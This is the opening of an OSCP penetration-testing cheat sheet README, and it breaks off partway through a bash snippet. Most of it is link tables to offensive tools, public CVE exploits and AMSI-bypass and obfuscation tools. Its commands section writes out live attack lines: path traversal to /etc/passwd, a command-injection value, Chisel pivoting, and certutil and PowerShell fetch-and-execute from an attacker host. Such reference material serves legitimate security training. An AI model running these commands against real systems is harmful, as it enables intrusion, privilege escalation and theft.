[FTP](https://github.com/0xsyr0/OSCP#ftp) - [Kerberos](https://github.com/0xsyr0/OSCP#kerberos) - [Ligolo-ng](https://github.com/0xsyr0/OSCP#ligolo-ng) - [Linux](https://github.com/0xsyr0/OSCP#linux) - [Microsoft Windows](https://github.com/0xsyr0/OSCP#microsoft-windows) - [PHP Webserver](https://github.com/0xsyr0/OSCP#php-webserver) - [Ping](https://github.com/0xsyr0/OSCP#ping) - [Python Webserver](https://github.com/0xsyr0/OSCP#python-webserver) - [RDP](https://github.com/0xsyr0/OSCP#rdp) - [showmount](https://github.com/0xsyr0/OSCP#showmount) - [smbclient](https://github.com/0xsyr0/OSCP#smbclient) - [socat](https://github.com/0xsyr0/OSCP#socat) - [SSH](https://github.com/0xsyr0/OSCP#ssh) - [Time and Date](https://github.com/0xsyr0/OSCP#time-and-date) - [Tmux](https://github.com/0xsyr0/OSCP#tmux) - [Upgrading Shells](https://github.com/0xsyr0/OSCP#upgrading-shells) - [VirtualBox](https://github.com/0xsyr0/OSCP#virtualbox) - [virtualenv](https://github.com/0xsyr0/OSCP#virtualenv) - [Information Gathering](https://github.com/0xsyr0/OSCP#information-gathering-1) - [memcached](https://github.com/0xsyr0/OSCP#memcached) - [NetBIOS](https://github.com/0xsyr0/OSCP#netbios) - [Nmap](https://github.com/0xsyr0/OSCP#nmap) - [Port Scanning](https://github.com/0xsyr0/OSCP#port-scanning) - [snmpwalk](https://github.com/0xsyr0/OSCP#snmpwalk) - [Web Application Analysis](https://github.com/0xsyr0/OSCP#web-application-analysis-1) - [Burp Suite](https://github.com/0xsyr0/OSCP#burp-suite) - [Cross-Site Scripting (XSS)](https://github.com/0xsyr0/OSCP#cross-site-scripting-xss) - [ffuf](https://github.com/0xsyr0/OSCP#ffuf) - [Gobuster](https://github.com/0xsyr0/OSCP#gobuster) - [GitTools](https://github.com/0xsyr0/OSCP#gittools) - [Local File Inclusion (LFI)](https://github.com/0xsyr0/OSCP#local-file-inclusion-lfi) - [PDF PHP Inclusion](https://github.com/0xsyr0/OSCP#pdf-php-inclusion) - [PHP Upload Filter Bypasses](https://github.com/0xsyr0/OSCP#php-upload-filter-bypasses) - [PHP Filter Chain Generator](https://github.com/0xsyr0/OSCP#php-filter-chain-generator) - [PHP Generic Gadget Chains (PHPGGC)](https://github.com/0xsyr0/OSCP#php-generic-gadget-chains-phpggc) - [Server-Side Request Forgery (SSRF)](https://github.com/0xsyr0/OSCP#server-side-request-forgery-ssrf) - [Server-Side Template Injection (SSTI)](https://github.com/0xsyr0/OSCP#server-side-template-injection-ssti) - [Upload Vulnerabilities](https://github.com/0xsyr0/OSCP#upload-vulnerabilities) - [wfuzz](https://github.com/0xsyr0/OSCP#wfuzz) - [WPScan](https://github.com/0xsyr0/OSCP#wpscan) - [XML External Entity (XXE)](https://github.com/0xsyr0/OSCP#xml-external-entity-xxe) - [Database Analysis](https://github.com/0xsyr0/OSCP#database-analysis) - [MongoDB](https://github.com/0xsyr0/OSCP#mongodb) - [MSSQL](https://github.com/0xsyr0/OSCP#mssql) - [MySQL](https://github.com/0xsyr0/OSCP#mysql) - [NoSQL Injection](https://github.com/0xsyr0/OSCP#nosql-injection) - [PostgreSQL](https://github.com/0xsyr0/OSCP#postgresql) - [Redis](https://github.com/0xsyr0/OSCP#redis) - [sqlcmd](https://github.com/0xsyr0/OSCP#sqlcmd) - [SQL Injection](https://github.com/0xsyr0/OSCP#sql-injection) - [SQL Truncation Attack](https://github.com/0xsyr0/OSCP#sql-truncation-attack) - [sqlite3](https://github.com/0xsyr0/OSCP#sqlite3) - [sqsh](https://github.com/0xsyr0/OSCP#sqsh) - [Password Attacks](https://github.com/0xsyr0/OSCP#password-attacks-1) - [CrackMapExec](https://github.com/0xsyr0/OSCP#crackmapexec) - [fcrack](https://github.com/0xsyr0/OSCP#fcrack) - [hashcat](https://github.com/0xsyr0/OSCP#hashcat) - [Hydra](https://github.com/0xsyr0/OSCP#hydra) - [John](https://github.com/0xsyr0/OSCP#john) - [Kerbrute](https://github.com/0xsyr0/OSCP#kerbrute) - [LaZagne](https://github.com/0xsyr0/OSCP#lazagne) - [mimikatz](https://github.com/0xsyr0/OSCP#mimikatz) - [pypykatz](https://github.com/0xsyr0/OSCP#pypykatz) - [Exploitation Tools](https://github.com/0xsyr0/OSCP#exploitation-tools-1) - [ImageTragick](https://github.com/0xsyr0/OSCP#imagetragick) - [MSL / Polyglot Attack](https://github.com/0xsyr0/OSCP#msl--polyglot-attack) - [Metasploit](https://github.com/0xsyr0/OSCP#metasploit) - [Post Exploitation](https://github.com/0xsyr0/OSCP#post-exploitation-1) - [ADCSTemplate](https://github.com/0xsyr0/OSCP#adcstemplate) - [BloodHound](https://github.com/0xsyr0/OSCP#bloodhound) - [BloodHound Python](https://github.com/0xsyr0/OSCP#bloodhound-python) - [Certify](https://github.com/0xsyr0/OSCP#certify) - [Certipy](https://github.com/0xsyr0/OSCP#certipy) - [enum4linux-ng](https://github.com/0xsyr0/OSCP#enum4linux-ng) - [Evil-WinRM](https://github.com/0xsyr0/OSCP#evil-winrm) - [Impacket](https://github.com/0xsyr0/OSCP#impacket-1) - [JAWS](https://github.com/0xsyr0/OSCP#jaws) - [Kerberos](https://github.com/0xsyr0/OSCP#kerberos-1) - [ldapsearch](https://github.com/0xsyr0/OSCP#ldapsearch) - [Linux](https://github.com/0xsyr0/OSCP#linux-1) - [Microsoft Windows](https://github.com/0xsyr0/OSCP#microsoft-windows-1) - [PassTheCert](https://github.com/0xsyr0/OSCP#passthecert) - [PKINITtools](https://github.com/0xsyr0/OSCP#pkinittools) - [Port Scanning](https://github.com/0xsyr0/OSCP#port-scanning) - [powercat](https://github.com/0xsyr0/OSCP#powercat) - [Powermad](https://github.com/0xsyr0/OSCP#powermad) - [PowerShell](https://github.com/0xsyr0/OSCP#powershell) - [pwncat](https://github.com/0xsyr0/OSCP#pwncat) - [rpcclient](https://github.com/0xsyr0/OSCP#rpcclient) - [Rubeus](https://github.com/0xsyr0/OSCP#rubeus) - [RunasCs](https://github.com/0xsyr0/OSCP#runascs) - [winexe](https://github.com/0xsyr0/OSCP#winexe) - [CVE](https://github.com/0xsyr0/OSCP#cve) - [CVE-2014-6271: Shellshock RCE PoC](https://github.com/0xsyr0/OSCP#cve-2014-6271-shellshock-rce-poc) - [CVE-2016-1531: exim LPE](https://github.com/0xsyr0/OSCP#cve-2016-1531-exim-lpe) - [CVE-2019-14287: Sudo Bypass](https://github.com/0xsyr0/OSCP#cve-2019-14287-sudo-bypass) - [CVE-2020-1472: ZeroLogon PE](https://github.com/0xsyr0/OSCP#cve-2020-1472-zerologon-pe) - [CVE-2021–3156: Sudo / sudoedit LPE](https://github.com/0xsyr0/OSCP#cve-2021-3156-sudo--sudoedit-lpe) - [CVE-2021-44228: Log4Shell RCE (0-day)](https://github.com/0xsyr0/OSCP#cve-2021-44228-log4shell-rce-0-day) - [CVE-2022-0847: Dirty Pipe LPE](https://github.com/0xsyr0/OSCP#cve-2022-0847-dirty-pipe-lpe) - [CVE-2022-22963: Spring4Shell RCE (0-day)](https://github.com/0xsyr0/OSCP#cve-2022-22963-spring4shell-rce-0-day) - [CVE-2022-30190: MS-MSDT Follina RCE](https://github.com/0xsyr0/OSCP#cve-2022-30190-ms-msdt-follina-rce) - [CVE-2022-31214: Firejail LPE](https://github.com/0xsyr0/OSCP#cve-2022-31214-firejail-lpe) - [CVE-2023-21746: Windows NTLM EoP LocalPotato LPE](https://github.com/0xsyr0/OSCP#cve-2023-21746-windows-ntlm-eop-localpotato-lpe) - [CVE-2023-22809: Sudo Bypass](https://github.com/0xsyr0/OSCP#cve-2023-22809-sudo-bypass) - [CVE-2023-23397: Microsoft Outlook (Click-to-Run) PE (0-day) (PowerShell Implementation)](https://github.com/0xsyr0/OSCP#cve-2023-23397-microsoft-outlook-click-to-run-pe-0-day-powershell-implementation) - [CVE-2023-32629, CVE-2023-2640: GameOverlay Ubuntu Kernel Exploit LPE (0-day)](https://github.com/0xsyr0/OSCP#cve-2023-32629-cve-2023-2640-gameoverlay-ubuntu-kernel-exploit-lpe-0-day) - [Juicy Potato LPE](https://github.com/0xsyr0/OSCP#juicy-potato-lpe) - [MySQL 4.x/5.0 User-Defined Function (UDF) Dynamic Library (2) LPE](https://github.com/0xsyr0/OSCP#mysql-4x50-user-defined-function-udf-dynamic-library-2-lpe) - [SharpEfsPotato LPE](https://github.com/0xsyr0/OSCP#sharpefspotato-lpe) - [Shocker Container Escape](https://github.com/0xsyr0/OSCP#shocker-container-escape) - [Payloads](https://github.com/0xsyr0/OSCP#payloads-1) - [Donut](https://github.com/0xsyr0/OSCP#donut) - [Exiftool](https://github.com/0xsyr0/OSCP#exiftool) - [GhostScript](https://github.com/0xsyr0/OSCP#ghostscript) - [nishang](https://github.com/0xsyr0/OSCP#nishang) - [Reverse Shells](https://github.com/0xsyr0/OSCP#reverse-shells) - [ScareCrow](https://github.com/0xsyr0/OSCP#scarecrow) - [Shikata Ga Nai](https://github.com/0xsyr0/OSCP#shikata-ga-nai) - [Web Shells](https://github.com/0xsyr0/OSCP#web-shells) - [ysoserial](https://github.com/0xsyr0/OSCP#ysoserial) - [Templates](https://github.com/0xsyr0/OSCP#templates) - [ASPX Web Shell](https://github.com/0xsyr0/OSCP#aspx-web-shell) - [Bad YAML](https://github.com/0xsyr0/OSCP#bad-yaml) - [Exploit Skeleton Python Script](https://github.com/0xsyr0/OSCP#exploit-skeleton-python-script) - [JSON POST Rrequest](https://github.com/0xsyr0/OSCP#json-post-request) - [Python Pickle RCE](https://github.com/0xsyr0/OSCP#python-pickle-rce) - [Python Redirect for SSRF](https://github.com/0xsyr0/OSCP#python-redirect-for-ssrf) - [Python Web Request](https://github.com/0xsyr0/OSCP#python-web-request) - [XML External Entity (XXE)](https://github.com/0xsyr0/OSCP#xml-external-entity-xxe) ### Basics | Name | URL | | --- | --- | | Chisel | https://github.com/jpillora/chisel | | CyberChef | https://gchq.github.io/CyberChef | | Swaks | https://github.com/jetmore/swaks | ### Information Gathering | Name | URL | | --- | --- | | Nmap | https://github.com/nmap/nmap | ### Vulnerability Analysis | Name | URL | | --- | --- | | nikto | https://github.com/sullo/nikto | | Sparta | https://github.com/SECFORCE/sparta | ### Web Application Analysis | Name | URL | | --- | --- | | ffuf | https://github.com/ffuf/ffuf | | fpmvuln | https://github.com/hannob/fpmvuln | | Gobuster | https://github.com/OJ/gobuster | | httpx | https://github.com/projectdiscovery/httpx | | JSON Web Tokens | https://jwt.io | | JWT_Tool | https://github.com/ticarpi/jwt_tool | | Leaky Paths | https://github.com/ayoubfathi/leaky-paths | | PayloadsAllTheThings | https://github.com/swisskyrepo/PayloadsAllTheThings | | PHP Filter Chain Generator | https://github.com/synacktiv/php_filter_chain_generator | | PHPGGC | https://github.com/ambionics/phpggc | | SSRF testing resources | https://github.com/cujanovic/SSRF-Testing | | Weird Proxies | https://github.com/GrrrDog/weird_proxies | | Wfuzz | https://github.com/xmendez/wfuzz | | WhatWeb | https://github.com/urbanadventurer/WhatWeb | | WPScan | https://github.com/wpscanteam/wpscan | | ysoserial | https://github.com/frohoff/ysoserial | ### Password Attacks | Name | URL | | --- | --- | | CrackMapExec | https://github.com/mpgn/CrackMapExec | | Default Credentials Cheat Sheet | https://github.com/ihebski/DefaultCreds-cheat-sheet | | Firefox Decrypt | https://github.com/unode/firefox_decrypt | | hashcat | https://hashcat.net/hashcat | | Hydra | https://github.com/vanhauser-thc/thc-hydra | | John | https://github.com/openwall/john | | keepass-dump-masterkey | https://github.com/CMEPW/keepass-dump-masterkey | | KeePwn | https://github.com/Orange-Cyberdefense/KeePwn | | Kerbrute | https://github.com/ropnop/kerbrute | | LaZagne | https://github.com/AlessandroZ/LaZagne | | mimikatz | https://github.com/gentilkiwi/mimikatz | | Patator | https://github.com/lanjelot/patator | | pypykatz | https://github.com/skelsec/pypykatz | | RsaCtfTool | https://github.com/Ganapati/RsaCtfTool | | SprayingToolkit | https://github.com/byt3bl33d3r/SprayingToolkit | ### Reverse Engineering | Name | URL | | --- | --- | | AvalonialLSpy | https://github.com/icsharpcode/AvaloniaILSpy | | binwalk | https://github.com/ReFirmLabs/binwalk | | cutter | https://github.com/rizinorg/cutter | | dnSpy | https://github.com/dnSpy/dnSpy | | GEF | https://github.com/hugsy/gef | | ghidra | https://github.com/NationalSecurityAgency/ghidra | | ImHex | https://github.com/WerWolv/ImHex | | JD-GUI | https://github.com/java-decompiler/jd-gui | | peda | https://github.com/longld/peda | | pwndbg | https://github.com/pwndbg/pwndbg | | Radare2 | https://github.com/radareorg/radare2 | ### Exploitation Tools | Name | URL | | --- | --- | | Evil-WinRM | https://github.com/Hackplayers/evil-winrm | | ImageTragick | https://imagetragick.com | | Metasploit | https://github.com/rapid7/metasploit-framework | | MSL / Polyglot Attack | https://insert-script.blogspot.com/2020/11/imagemagick-shell-injection-via-pdf.html | ### Post Exploitation | Name | URL | | --- | --- | | ADCSKiller - An ADCS Exploitation Automation Tool | https://github.com/grimlockx/ADCSKiller | | ADCSTemplate | https://github.com/GoateePFE/ADCSTemplate | | BloodHound Docker | https://github.com/belane/docker-bloodhound | | BloodHound | https://github.com/BloodHoundAD/BloodHound | | BloodHound | https://github.com/ly4k/BloodHound | | BloodHound Python | https://github.com/fox-it/BloodHound.py | | Certify | https://github.com/GhostPack/Certify | | Certipy | https://github.com/ly4k/Certipy | | enum4linux-ng | https://github.com/cddmp/enum4linux-ng | | Ghostpack-CompiledBinaries | https://github.com/r3motecontrol/Ghostpack-CompiledBinaries | | GTFOBins | https://gtfobins.github.io | | Impacket | https://github.com/fortra/impacket | | Impacket Static Binaries | https://github.com/ropnop/impacket_static_binaries | | JAWS | https://github.com/411Hall/JAWS | | KrbRelay | https://github.com/cube0x0/KrbRelay | | KrbRelayUp | https://github.com/Dec0ne/KrbRelayUp | | Krbrelayx | https://github.com/dirkjanm/krbrelayx | | LAPSDumper | https://github.com/n00py/LAPSDumper | | LES | https://github.com/The-Z-Labs/linux-exploit-suggester | | LinEnum | https://github.com/rebootuser/LinEnum | | LOLBAS | https://lolbas-project.github.io | | lsassy | https://github.com/Hackndo/lsassy | | nanodump | https://github.com/helpsystems/nanodump | | PassTheCert | https://github.com/AlmondOffSec/PassTheCert | | PEASS-ng | https://github.com/carlospolop/PEASS-ng | | PKINITtools | https://github.com/dirkjanm/PKINITtools | | powercat | https://github.com/besimorhino/powercat | | PowerSharpPack | https://github.com/S3cur3Th1sSh1t/PowerSharpPack | | PowerUp | https://github.com/PowerShellMafia/PowerSploit/blob/master/Privesc/PowerUp.ps1 | | PowerView | https://github.com/PowerShellMafia/PowerSploit/blob/master/Recon/PowerView.ps1 | | PowerView.py | https://github.com/aniqfakhrul/powerview.py | | PPLdump | https://github.com/itm4n/PPLdump | | Priv2Admin | https://github.com/gtworek/Priv2Admin | | PSPKIAudit | https://github.com/GhostPack/PSPKIAudit | | pspy | https://github.com/DominicBreuker/pspy | | pth-toolkit | https://github.com/byt3bl33d3r/pth-toolkit | | pwncat | https://github.com/calebstewart/pwncat | | PyWhisker | https://github.com/ShutdownRepo/pywhisker | | Rubeus | https://github.com/GhostPack/Rubeus | | RunasCs | https://github.com/antonioCoco/RunasCs | | RustHound | https://github.com/OPENCYBER-FR/RustHound | | scavenger | https://github.com/SpiderLabs/scavenger | | SharpCollection | https://github.com/Flangvik/SharpCollection | | SharpHound | https://github.com/BloodHoundAD/SharpHound | | SharpView | https://github.com/tevora-threat/SharpView | | Sherlock | https://github.com/rasta-mouse/Sherlock | | Villain | https://github.com/t3l3machus/Villain | | WADComs | https://wadcoms.github.io | | Watson | https://github.com/rasta-mouse/Watson | | WESNG | https://github.com/bitsadmin/wesng | Whisker | https://github.com/eladshamir/Whisker | | Windows-privesc-check | https://github.com/pentestmonkey/windows-privesc-check | | Windows Privilege Escalation Fundamentals | https://www.fuzzysecurity.com/tutorials/16.html | | Windows Privilege Escalation | https://github.com/frizb/Windows-Privilege-Escalation | ### Exploit Databases | Database | URL | | --- | --- | | 0day.today Exploit Database | https://0day.today | | Exploit Database | https://www.exploit-db.com | | Packet Storm | https://packetstormsecurity.com | | Sploitus | https://sploitus.com | ### CVEs | CVE | Descritpion | URL | | --- | --- | --- | | CVE-2014-6271 | Shocker RCE | https://github.com/nccgroup/shocker | | CVE-2014-6271 | Shellshock RCE PoC | https://github.com/zalalov/CVE-2014-6271 | | CVE-2014-6271 | Shellshocker RCE POCs | https://github.com/mubix/shellshocker-pocs | | CVE-2016-5195 | Dirty COW LPE | https://github.com/firefart/dirtycow | | CVE-2016-5195 | Dirty COW (/etc/passwd Method) LPE | https://www.exploit-db.com/exploits/40847 | | CVE-2017-0199 | RTF Dynamite RCE | https://github.com/bhdresh/CVE-2017-0199 | | CVE-2018-7600 | Drupalgeddon 2 RCE | https://github.com/g0rx/CVE-2018-7600-Drupal-RCE | | CVE-2018-10933 | libSSH Authentication Bypass | https://github.com/blacknbunny/CVE-2018-10933 | | CVE-2018-16509 | Ghostscript PIL RCE | https://github.com/farisv/PIL-RCE-Ghostscript-CVE-2018-16509 | | CVE-2019-14287 | Sudo Bypass LPE | https://github.com/n0w4n/CVE-2019-14287 | | CVE-2019-18634 | Sudo Buffer Overflow LPE | https://github.com/saleemrashid/sudo-cve-2019-18634 | | CVE-2019-5736 | RunC Container Escape PoC | https://github.com/Frichetten/CVE-2019-5736-PoC | | CVE-2019-6447 | ES File Explorer Open Port Arbitrary File Read | https://github.com/fs0c131y/ESFileExplorerOpenPortVuln | | CVE-2019-7304 | dirty_sock LPE | https://github.com/initstring/dirty_sock | | CVE-2020-0796 | SMBGhost RCE PoC | https://github.com/chompie1337/SMBGhost_RCE_PoC | | CVE-2020-1472 | ZeroLogon PE Checker & Exploitation Code | https://github.com/VoidSec/CVE-2020-1472 | | CVE-2020-1472 | ZeroLogon PE Exploitation Script | https://github.com/risksense/zerologon | | CVE-2020-1472 | ZeroLogon PE PoC | https://github.com/dirkjanm/CVE-2020-1472 | | CVE-2020-1472 | ZeroLogon PE Testing Script | https://github.com/SecuraBV/CVE-2020-1472 | | CVE-2021-1675,CVE-2021-34527 | PrintNightmare LPE RCE | https://github.com/nemo-wq/PrintNightmare-CVE-2021-34527 | | CVE-2021-1675 | PrintNightmare LPE RCE (PowerShell Implementation) | https://github.com/calebstewart/CVE-2021-1675 | | CVE-2021-21972 | vCenter RCE | https://github.com/horizon3ai/CVE-2021-21972 | | CVE-2021-22204 | GitLab Exiftool RCE | https://github.com/CsEnox/Gitlab-Exiftool-RCE | | CVE-2021-22204 | GitLab Exiftool RCE (Python Implementation) | https://github.com/convisolabs/CVE-2021-22204-exiftool | | CVE-2021-26085 | Confluence Server RCE | https://github.com/Phuong39/CVE-2021-26085 | | CVE-2021-27928 | MariaDB/MySQL wsrep provider RCE | https://github.com/Al1ex/CVE-2021-27928 | | CVE-2021-3129 | Laravel Framework RCE | https://github.com/nth347/CVE-2021-3129_exploit | | CVE-2021-3156 | Sudo / sudoedit LPE | https://github.com/mohinparamasivam/Sudo-1.8.31-Root-Exploit | | CVE-2021-3156 | Sudo / sudoedit LPE PoC | https://github.com/blasty/CVE-2021-3156 | | CVE-2021-3560 | polkit LPE (C Implementation) | https://github.com/hakivvi/CVE-2021-3560 | | CVE-2021-3560 | polkit LPE | https://github.com/Almorabea/Polkit-exploit | | CVE-2021-3560 | polkit LPE PoC | https://github.com/secnigma/CVE-2021-3560-Polkit-Privilege-Esclation | | CVE-2021-36934 | HiveNightmare LPE | https://github.com/GossiTheDog/HiveNightmare | | CVE-2021-36942 | PetitPotam | https://github.com/topotam/PetitPotam | | CVE-2021-36942 | DFSCoerce | https://github.com/Wh04m1001/DFSCoerce | | CVE-2021-4034 | PwnKit Pkexec Self-contained Exploit LPE | https://github.com/ly4k/PwnKit | | CVE-2021-4034 | PwnKit Pkexec LPE PoC (1) | https://github.com/dzonerzy/poc-cve-2021-4034 | | CVE-2021-4034 | PwnKit Pkexec LPE PoC (2) | https://github.com/arthepsy/CVE-2021-4034 | | CVE-2021-4034 | PwnKit Pkexec LPE PoC (3) | https://github.com/nikaiw/CVE-2021-4034 | | CVE-2021-40444 | MSHTML builders RCE | https://github.com/aslitsecurity/CVE-2021-40444_builders | | CVE-2021-40444 | MSHTML Exploit RCE | https://xret2pwn.github.io/CVE-2021-40444-Analysis-and-Exploit/ | | CVE-2021-40444 | MSHTML RCE PoC | https://github.com/lockedbyte/CVE-2021-40444 | | CVE-2021-41379 | InstallerFileTakeOver LPE (0-day) (Archive) | https://github.com/klinix5/InstallerFileTakeOver | | CVE-2021-41379 | InstallerFileTakeOver LPE (0-day) (Fork) | https://github.com/waltlin/CVE-2021-41379-With-Public-Exploit-Lets-You-Become-An-Admin-InstallerFileTakeOver | | CVE-2021-41773,CVE-2021-42013, CVE-2020-17519 | Simples Apache Path Traversal (0-day) | https://github.com/MrCl0wnLab/SimplesApachePathTraversal | | CVE-2021-42278,CVE-2021-42287 | sam-the-admin, sAMAccountName Spoofing / Domain Admin Impersonation PE | https://github.com/WazeHell/sam-the-admin | | CVE-2021-42278 | sam-the-admin, sAMAccountName Spoofing / Domain Admin Impersonation PE (Python Implementation) | https://github.com/ly4k/Pachine | | CVE-2021-42287,CVE-2021-42278 | noPac LPE (1) | https://github.com/cube0x0/noPac | | CVE-2021-42287,CVE-2021-42278 | noPac LPE (2) | https://github.com/Ridter/noPac | | CVE-2021-42321 | Microsoft Exchange Server RCE | https://gist.github.com/testanull/0188c1ae847f37a70fe536123d14f398 | | CVE-2021-44228 | Log4Shell RCE (0-day) | https://github.com/kozmer/log4j-shell-poc | | CVE-2022-0847 | DirtyPipe-Exploits LPE | https://github.com/AlexisAhmed/CVE-2022-0847-DirtyPipe-Exploits | | CVE-2022-21999 | SpoolFool, Windows Print Spooler LPE | https://github.com/ly4k/SpoolFool | | CVE-2022-22963 | Spring4Shell RCE (0-day) | https://github.com/tweedge/springcore-0day-en | | CVE-2022-23119,CVE-2022-23120 | Trend Micro Deep Security Agent for Linux Arbitrary File Read | https://github.com/modzero/MZ-21-02-Trendmicro | | CVE-2022-24715 | Icinga Web 2 Authenticated Remote Code Execution RCE | https://github.com/JacobEbben/CVE-2022-24715 | | CVE-2022-26134 | ConfluentPwn RCE (0-day) | https://github.com/redhuntlabs/ConfluentPwn | | CVE-2022-30190 | MS-MSDT Follina Attack Vector RCE | https://github.com/JohnHammond/msdt-follina | | CVE-2022-30190 | MS-MSDT Follina RCE PoC | https://github.com/onecloudemoji/CVE-2022-30190 | | CVE-2022-30190 | MS-MSDT Follina RCE (Python Implementation) | https://github.com/chvancooten/follina.py | | CVE-2022-31214 | Firejail / Firejoin LPE | https://seclists.org/oss-sec/2022/q2/188 | | CVE-2022-31214 | Firejail / Firejoin LPE | https://www.openwall.com/lists/oss-security/2022/06/08/10 | | CVE-2022-34918 | Netfilter Kernel Exploit LPE | https://github.com/randorisec/CVE-2022-34918-LPE-PoC | | CVE-2023-21716 | CVE-2023-21716: Microsoft Word RTF Font Table Heap Corruption RCE PoC (Python Implementation) | https://github.com/Xnuvers007/CVE-2023-21716 | | CVE-2023-21746 | Windows NTLM EoP LocalPotato LPE | https://github.com/decoder-it/LocalPotato | | CVE-2023-21768 | Windows Ancillary Function Driver for WinSock LPE POC | https://github.com/chompie1337/Windows_LPE_AFD_CVE-2023-21768 | | CVE-2023-21817 | Kerberos Unlock LPE PoC | https://gist.github.com/monoxgas/f615514fb51ebb55a7229f3cf79cf95b | | CVE-2023-22809 | sudoedit LPE | https://github.com/n3m1dotsys/CVE-2023-22809-sudoedit-privesc | | CVE-2023-23397 | Microsoft Outlook (Click-to-Run) PE (0-day) | https://github.com/sqrtZeroKnowledge/CVE-2023-23397_EXPLOIT_0DAY | | CVE-2023-23397 | Microsoft Outlook (Click-to-Run) PE (0-day) (PowerShell Implementation) | https://github.com/api0cradle/CVE-2023-23397-POC-Powershell | | CVE-2023-23397 | Microsoft Outlook (Click-to-Run) PE (0-day) (Python Implementation) | https://github.com/Trackflaw/CVE-2023-23397 | | CVE-2023-28879 | Shell in the Ghost: Ghostscript RCE PoC | https://github.com/AlmondOffSec/PoCs/tree/master/Ghostscript_rce | | CVE-2023-32629, CVE-2023-2640 | GameOverlay Ubuntu Kernel Exploit LPE (0-day) | https://twitter.com/liadeliyahu/status/1684841527959273472?s=09 | | n/a | dompdf RCE (0-day) | https://github.com/positive-security/dompdf-rce | | n/a | dompdf XSS to RCE (0-day) | https://positive.security/blog/dompdf-rce | | n/a | StorSvc LPE | https://github.com/blackarrowsec/redteam-research/tree/master/LPE%20via%20StorSvc | | n/a | GenericPotato LPE | https://github.com/micahvandeusen/GenericPotato | | n/a | GodPotato LPE | https://github.com/BeichenDream/GodPotato | | n/a | JuicyPotato LPE | https://github.com/ohpe/juicy-potato | | n/a | Juice-PotatoNG LPE | https://github.com/antonioCoco/JuicyPotatoNG | | n/a | MultiPotato LPE | https://github.com/S3cur3Th1sSh1t/MultiPotato | | n/a | RemotePotato0 PE | https://github.com/antonioCoco/RemotePotato0 | | n/a | RoguePotato LPE | https://github.com/antonioCoco/RoguePotato | | n/a | RottenPotatoNG LPE | https://github.com/breenmachine/RottenPotatoNG | | n/a | SharpEfsPotato LPE | https://github.com/bugch3ck/SharpEfsPotato | | n/a | SweetPotato LPE | https://github.com/CCob/SweetPotato | | n/a | PrintSpoofer LPE (1) | https://github.com/dievus/printspoofer | | n/a | PrintSpoofer LPE (2) | https://github.com/itm4n/PrintSpoofer | | n/a | Shocker Container Escape | https://github.com/gabrtv/shocker | | n/a | SystemNightmare PE | https://github.com/GossiTheDog/SystemNightmare | | n/a | OfflineSAM LPE | https://github.com/gtworek/PSBits/tree/master/OfflineSAM | | n/a | OfflineAddAdmin2 LPE | https://github.com/gtworek/PSBits/tree/master/OfflineSAM/OfflineAddAdmin2 | | n/a | Kernelhub | https://github.com/Ascotbe/Kernelhub | | n/a | Windows Exploits | https://github.com/SecWiki/windows-kernel-exploits | | n/a | Pre-compiled Windows Exploits | https://github.com/abatchy17/WindowsExploits | ### Payloads | Name | URL | | --- | --- | | AMSI.fail | http://amsi.fail | | Donut | https://github.com/TheWover/donut | | Freeze | https://github.com/optiv/Freeze | | hoaxshell | https://github.com/t3l3machus/hoaxshell | | Invoke-Obfuscation | https://github.com/danielbohannon/Invoke-Obfuscation | | marshalsec | https://github.com/mbechler/marshalsec | | nishang | https://github.com/samratashok/nishang | | Payload Box | https://github.com/payloadbox | | PayloadsAllTheThings | https://github.com/swisskyrepo/PayloadsAllTheThings | | phpgcc | https://github.com/ambionics/phpggc | | PHP-Reverse-Shell | https://github.com/ivan-sincek/php-reverse-shell| | PowerLine | https://github.com/fullmetalcache/powerline | | PowerShell Encoder (CyberChef) | [Receipe for encoding PowerShell Payloads for Windows](https://cyberchef.io/#recipe=Encode_text('UTF-16LE%20(1200)')To_Base64('A-Za-z0-9%2B/%3D')) | | Raikia's Hub Powershell Encoder | https://raikia.com/tool-powershell-encoder/ | | ScareCrow | https://github.com/optiv/ScareCrow | | Shikata Ga Nai | https://github.com/EgeBalci/sgn | | unicorn | https://github.com/trustedsec/unicorn | | Veil | https://github.com/Veil-Framework/Veil | | webshell | https://github.com/tennc/webshell | | Web-Shells | https://github.com/TheBinitGhimire/Web-Shells | | woodpecker | https://github.com/woodpecker-appstore/log4j-payload-generator | | ysoserial | https://github.com/frohoff/ysoserial | | ysoserial.net | https://github.com/pwntester/ysoserial.net | ### Wordlists | Name | URL | | --- | --- | | bopscrk | https://github.com/R3nt0n/bopscrk | | CeWL | https://github.com/digininja/cewl | | COOK | https://github.com/giteshnxtlvl/cook | | CUPP | https://github.com/Mebus/cupp | | Kerberos Username Enumeration | https://github.com/attackdebris/kerberos_enum_userlists | | SecLists | https://github.com/danielmiessler/SecLists | ### Social Media Resources | Name | URL | | --- | --- | | IppSec (YouTube) | https://www.youtube.com/channel/UCa6eh7gCkpPo5XXUDfygQQA | | IppSec.rocks | https://ippsec.rocks/?# | | 0xdf | https://0xdf.gitlab.io/ | HackTricks | https://book.hacktricks.xyz/ | | Hacking Articles | https://www.hackingarticles.in/ | | Rana Khalil | https://rana-khalil.gitbook.io/hack-the-box-oscp-preparation/ | ## Commands ### Basics #### curl ```c curl -v http://<RHOST> curl -k <RHOST> curl -X POST http://<RHOST> curl -I POST http://<RHOST> curl -X PUT http://<RHOST> curl -vvv <RHOST> curl --head http://<RHOST>/ curl --proxy http://127.0.0.1:8080 curl -X POST http://<RHOST>/select --data 'db=whatever|id' curl --path-as-is http://<RHOST>/../../../../../../etc/passwd curl -s "http://<RHOST>/reports.php?report=2589" | grep Do -A8 | html2text ``` #### Chisel ##### Reverse Pivot ```c ./chisel server -p 9002 -reverse -v ./chisel client <RHOST>:9002 R:9003:127.0.0.1:8888 ``` ##### SOCKS5 / Proxychains Configuration ```c ./chisel server -p 9002 -reverse -v ./chisel client <RHOST>:9002 R:socks ``` #### File Transfer ##### Certutil ```c certutil -urlcache -split -f "http://<LHOST>/<FILE>" <FILE> ``` ##### Netcat ```c nc -lnvp <LPORT> < <FILE> nc <RHOST> <RPORT> > <FILE> ``` ##### Impacket ```c sudo python3 impacket/examples/smbserver.py <SHARE> ./ sudo impacket-smbserver <SHARE> . -smb2support copy * \\<LHOST>\<SHARE> ``` ##### PowerShell ```c iwr <LHOST>/<FILE> -o <FILE> IEX(IWR http://<LHOST>/<FILE>) -UseBasicParsing) powershell -command Invoke-WebRequest -Uri http://<LHOST>:<LPORT>/<FILE> -Outfile C:\\temp\\<FILE> ``` ##### Bash only ###### wget version Paste directly to the shell. ```c function __wget() { : ${DEBUG:=0} local URL=$1 local tag="Connection: close" local mark=0 if [ -z "${URL}" ]; then 